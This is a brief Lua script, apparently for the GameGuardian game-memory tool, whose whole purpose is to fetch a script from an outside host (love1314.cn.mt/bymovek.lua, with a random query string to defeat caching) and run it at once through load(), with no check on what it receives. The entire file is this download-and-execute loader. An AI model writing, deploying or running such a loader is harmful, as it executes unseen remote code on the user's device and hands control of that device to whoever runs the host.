local function randomString(len) local chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" local result = "" for i = 1, len do local pos = math.random(1, #chars) result = result .. string.sub(chars, pos, pos) end return result end local function loadRemoteScript(url) local resp = gg.makeRequest(url) if not resp then gg.alert("请求失败,请检查网络") return false end if not resp.content or #resp.content < 10 then gg.alert("脚本内容为空或无效") return false end local script = resp.content local func, err = load(script) if not func then gg.alert("脚本加载失败: " .. tostring(err)) return false end func() return true end loadRemoteScript("http://love1314.cn.mt/bymovek.lua?t=" .. randomString(10))